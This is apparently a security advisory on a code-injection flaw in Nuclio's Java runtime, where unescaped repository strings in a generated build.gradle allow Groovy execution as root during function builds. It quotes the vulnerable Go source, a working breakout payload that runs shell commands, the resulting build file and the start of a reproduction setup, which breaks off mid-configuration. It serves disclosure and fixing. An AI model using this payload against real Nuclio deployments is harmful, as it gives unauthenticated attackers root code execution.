Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE
Summary
Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.
The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:
```
[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms
```
- CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
- Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)
Details
Root Cause
pkg/processor/build/runtime/java/runtime.go — function createGradleBuildScript()
Step 1. User input flows from the API into the template data map without validation
types.go:50-64 — newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:
```go
// pkg/processor/build/runtime/java/types.go:50-64
func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
newBuildAttributes := buildAttributes{}
if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
return nil, errors.Wrap(err, "Failed to decode build attributes")
}
if len(newBuildAttributes.Repositories) == 0 {
newBuildAttributes.Repositories = []string{"mavenCentral()"}
}
return &newBuildAttributes, nil // no validation of repository string contents
}
```
Step 2. text/template renders repositories verbatim into Groovy DSL
runtime.go:111,139 — the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:
```go
// runtime.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())
// runtime.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)
```
The template section for repositories (runtime.go:155-159):
```
repositories {
{{ range .Repositories }}
{{ . }}
{{ end }}
}
```
{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character — including }, (, ), newlines — is written directly to the .gradle file.
Step 3. Gradle evaluates the injected Groovy at configuration phase
The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:
```sh
gradle tasks # configuration phase: top-level Groovy runs
gradle userHandler # configuration phase: top-level Groovy runs again
```
Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.
Injection Mechanics
Payload for repositories[0]:
```
mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {
```
Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):
```groovy
plugins {
id 'com.github.johnrengelman.shadow' version '5.2.0'
id 'java'
}
repositories {
mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {
}
dependencies {
compile files('./nuclio-sdk-java-1.1.0.jar')
}
shadowJar {
baseName = 'user-handler'
classifier = null
}
task userHandler(dependsOn: shadowJar)
```
The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.
Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.
Proof of Concept
Environment Setup
The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.
1. Create a dedicated kind cluster
```bash
cat > /tmp/kind-vul006.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
extraPortMappings:
